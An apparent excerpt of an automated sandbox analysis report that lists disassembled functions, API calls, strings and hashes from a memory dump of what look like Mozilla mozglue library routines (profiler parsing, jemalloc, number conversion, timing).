expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C6A4CAF
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C6A4DB8, 6C6A4DD8
-%llu, xrefs: 6C6A4825
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C6A4D0A
ProfileBuffer parse error: %s, xrefs: 6C6A4DD9
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C6A4D65
schema, xrefs: 6C6A48C1
data, xrefs: 6C6A49B4
ml, xrefs: 6C6A4F88

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free
String ID: ml$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-1201911369
Opcode ID: 8a0ca586c4e7f85565d8d4fcc1a4a0eb16d418c4a01c2afc4310c15e1857a3e3
Instruction ID: 8fcfe4031aeec2e59cb8cdb0fc181e9fe1cd57aec7edbe6baab26d8344da2cb0
Opcode Fuzzy Hash: 8a0ca586c4e7f85565d8d4fcc1a4a0eb16d418c4a01c2afc4310c15e1857a3e3
Instruction Fuzzy Hash: 90723F71958B858BD361CF34C4513ABF7E5BFDA344F108B1DE48A6B610EB70A886CB46

Function 6C67D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D6A6
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D712
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C67D82C
<jemalloc>, xrefs: 6C67D827

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction ID: 8e5b2784bc4e44ae93db445447a53da21b8530f242c60e12b6fd494aaa9eed1f
Opcode Fuzzy Hash: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction Fuzzy Hash: 1991C471A047018FD764CF29C49076AB7E1EB89318F158D2EE55AC7B81D734E844CBAA

Function 6C6B4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C6B4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4F2E
moz_xmalloc.MOZGLUE ref: 6C6B4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C6B4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B52E6
Sleep.KERNEL32(00000010), ref: 6C6B5481
free.MOZGLUE(?), ref: 6C6B5498

Strings

(, xrefs: 6C6B5250

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: fb8675555285ac875c3de1cb55c2b124986113e0b03f320fa3a58dae27b9f0f6
Instruction ID: 4fb74f4d0ce92a9ec60c45ee6cd4a51cd83b2aaa59eff681b535a05e015bdd44
Opcode Fuzzy Hash: fb8675555285ac875c3de1cb55c2b124986113e0b03f320fa3a58dae27b9f0f6
Instruction Fuzzy Hash: E1F1B271A19B408FC716CF39C89062BB7F5AFE6384F058B2EF846A7651DB31D4428B85

Function 6C6B7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C6B7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C6B7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6B707E

Part of subcall function 6C6681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6681DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6B7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B709C
LocalFree.KERNEL32(?), ref: 6C6B70AA

Strings

(null), xrefs: 6C6B706A, 6C6B7083
### ERROR: %s: %s, xrefs: 6C6B7087

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: ce8d0fb66b92e3399222ad7a9346f7dc74236a9480add317baecaae70e8de34d
Instruction ID: 50a75a8df81bdbf4fbc7667b6d45fd098a4b3753a183403824a3fb99ba76178c
Opcode Fuzzy Hash: ce8d0fb66b92e3399222ad7a9346f7dc74236a9480add317baecaae70e8de34d
Instruction Fuzzy Hash: 0501B9B1A00105AFDB005BA5DC8ADAF7BBCEF89255F010425FA05A3241D6717918CBA9

Function 6C679E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C679EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C679F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C679F34
LeaveCriticalSection.KERNEL32(?), ref: 6C67A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C67A8B1, 6C67A8D4, 6C67A8EF

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: db17d2bc2b6b705c310f098b49b2b29c2677901b78e74add1f0f3777c2b96d9c
Instruction ID: c1827dcb3a360c7d673e696c750ffb37eae7622c7899b4964e0a10ca42f943cf
Opcode Fuzzy Hash: db17d2bc2b6b705c310f098b49b2b29c2677901b78e74add1f0f3777c2b96d9c
Instruction Fuzzy Hash: BA728D72A157118FD324CF28C540615FBE1BF89328F29CB6DE8698B792D335E841CB94

Function 6C6A2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C6A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6A2C61

Part of subcall function 6C654DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
Part of subcall function 6C654DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6A2E2D

Part of subcall function 6C6681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6681DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C6A2E3B
(root), xrefs: 6C6A354F
expected a Time entry, xrefs: 6C6A2E36

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction ID: c45b159c50666698707fa0529ec4367b72d96f9d0c3f7e5a65ee094248517380
Opcode Fuzzy Hash: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction Fuzzy Hash: 4191CF706087408FC724DF65C48469EF7E1AFCA358F10492DE99A8B751DB30E94ACB5B

Function 6C6B9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C6B9F3D
__aulldiv.LIBCMT ref: 6C6B9F77
__aullrem.LIBCMT ref: 6C6B9F8C
__aulldiv.LIBCMT ref: 6C6BA023

Strings

NaN, xrefs: 6C6B9EAB
-Infinity, xrefs: 6C6B9E60, 6C6B9E7B

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 21a65f7a866fa2667de0635a79a97d547c177c83f3e04dd9208901693037bd90
Instruction ID: cec4c0ba687317817b06540f2b3d32a47266ace032b3340d36d16366b67eb18d
Opcode Fuzzy Hash: 21a65f7a866fa2667de0635a79a97d547c177c83f3e04dd9208901693037bd90
Instruction Fuzzy Hash: FDC1DE31E043188BDB14CFA8C8907DEB7B6FF85318F544529D40ABBB81DB70A959CB99

Function 6C65D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

9, xrefs: 6C65DE7F
@, xrefs: 6C65DAF6
-, xrefs: 6C65D7DD
0, xrefs: 6C65DC7F
, xrefs: 6C65DA88
1, xrefs: 6C65DBDD
8, xrefs: 6C65DC08
0, xrefs: 6C65D852

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction ID: 0aa39ac45e123d66a3a14887cae5e2a87215a2a65c9adc49dc6c57d26949dd6f
Opcode Fuzzy Hash: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction Fuzzy Hash: A262CF7060C3458FD701CF19C69079ABBF2AF86358FB84A0DE4D54BAD1C33599A5CB8A

Function 6C6C545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C8A4B

Strings

~qel, xrefs: 6C6C9459, 6C6C5740, 6C6C56C7, 6C6C5703, 6C6C9269, 6C6C921F, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 01af520261224d43aa745bc0de72f0653f0550fdd9b9ffcc5ee0159283b6d2d5
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 0BB1F772F0021A8FDB24CF68CC907E9B7B2EF85318F1802AAC549DB791D7349985CB95

Function 6C6C542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C6C925C

Strings

~qel, xrefs: 6C6C9459, 6C6C5740, 6C6C56C7, 6C6C5703, 6C6C9269, 6C6C921F, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 847e3582a78b901618d98ce7101b713317aa8019d6372db2b3185b55660006ee
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: ABB1E572F0420A8BCB14CE58CC816EDB7B2EF85314F14426AC949DB795D734A989CB95

Function 6C6BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6BC0E9), ref: 6C6BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C6BC437
FreeLibrary.KERNEL32(?,6C6BC0E9), ref: 6C6BC44C

Strings

NtQueryVirtualMemory, xrefs: 6C6BC431
ntdll.dll, xrefs: 6C6BC413

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction ID: 0baf2aa69d8cf0f9d1a80e002f6a0c30601aa36f70604daba40d504ae963cc98
Opcode Fuzzy Hash: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction Fuzzy Hash: 14E0B670B01302ABDF007F73C9887127BF8AB46745F044516AB0592614EBB0F652CB5F

Function 6C669F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

' , xrefs: 6C66A3D8
1, xrefs: 6C66A824
0, xrefs: 6C66AB22
0, xrefs: 6C66A100
9, xrefs: 6C66A5D6
@, xrefs: 6C66A625

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 7f32a90ffc6e4b13a4b8479688458e77b38dcc6f0ae0d56f76f2cff1836e75fe
Instruction ID: b43a99b024e746f77dff5b3497ef81521bc4a43fda2ff7c323182478ba13ad1a
Opcode Fuzzy Hash: 7f32a90ffc6e4b13a4b8479688458e77b38dcc6f0ae0d56f76f2cff1836e75fe
Instruction Fuzzy Hash: 4F82C2315093318BD710CF1BC4902AEB7E1EB85718F658A2EE8D557E92D335E885CB8B

Function 6C65BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C65C1CB
__aulldiv.LIBCMT ref: 6C65C24C
__aulldiv.LIBCMT ref: 6C65C348
__aullrem.LIBCMT ref: 6C65C365
__aulldiv.LIBCMT ref: 6C65C37D

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: ca4ed2d6a03da8a3f704beac6cc95ae7f98496a33d9bce822fe9f562690d7ed6
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 18323632B046119FC718DE2CC89065ABBE6AFC9310F59866DE896CB395D730ED15CB90

Function 6C6A77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6A7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6A7A93

Part of subcall function 6C675C50: GetTickCount64.KERNEL32 ref: 6C675D40
Part of subcall function 6C675C50: EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6A7AA1

Part of subcall function 6C675C50: __aulldiv.LIBCMT ref: 6C675DB4
Part of subcall function 6C675C50: LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C6A7B31

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: e7b68f6c0973ac94e159b9364b542cce305b9088aa400d5f9c221fa3513d35d9
Instruction ID: eb805a557cc71c73acb2cf890751559337e9d58a37693480d16937fe35f10b65
Opcode Fuzzy Hash: e7b68f6c0973ac94e159b9364b542cce305b9088aa400d5f9c221fa3513d35d9
Instruction Fuzzy Hash: 01B17C356083808BCB18CEA4C4507AFB7E2ABC5318F154A1DE99567795DB70ED0BCB8A

Function 6C678850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C679813, 6C67985D, 6C679878, 6C679CEB
MOZ_CRASH(), xrefs: 6C6797EA

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 3794290e29cf462db1aee2cbb270e8661f1ccd35066fb2582c9b471bc88fc71d
Instruction ID: 6d98e4cdb4ba5d77c64b6df662f6a3e74dd51cc53f5a203ab7bd10060c00b1c9
Opcode Fuzzy Hash: 3794290e29cf462db1aee2cbb270e8661f1ccd35066fb2582c9b471bc88fc71d
Instruction Fuzzy Hash: E6D2BF71A157018FD728CF28C590715BBE1BF85328F29CB6DD86A8B7A5C731E841CB98

Function 6C696CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C696D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696E1E

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction ID: cef72b3a95c0d67210e09b72d9d8342b2118f061bfe39851605f90312853d60d
Opcode Fuzzy Hash: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
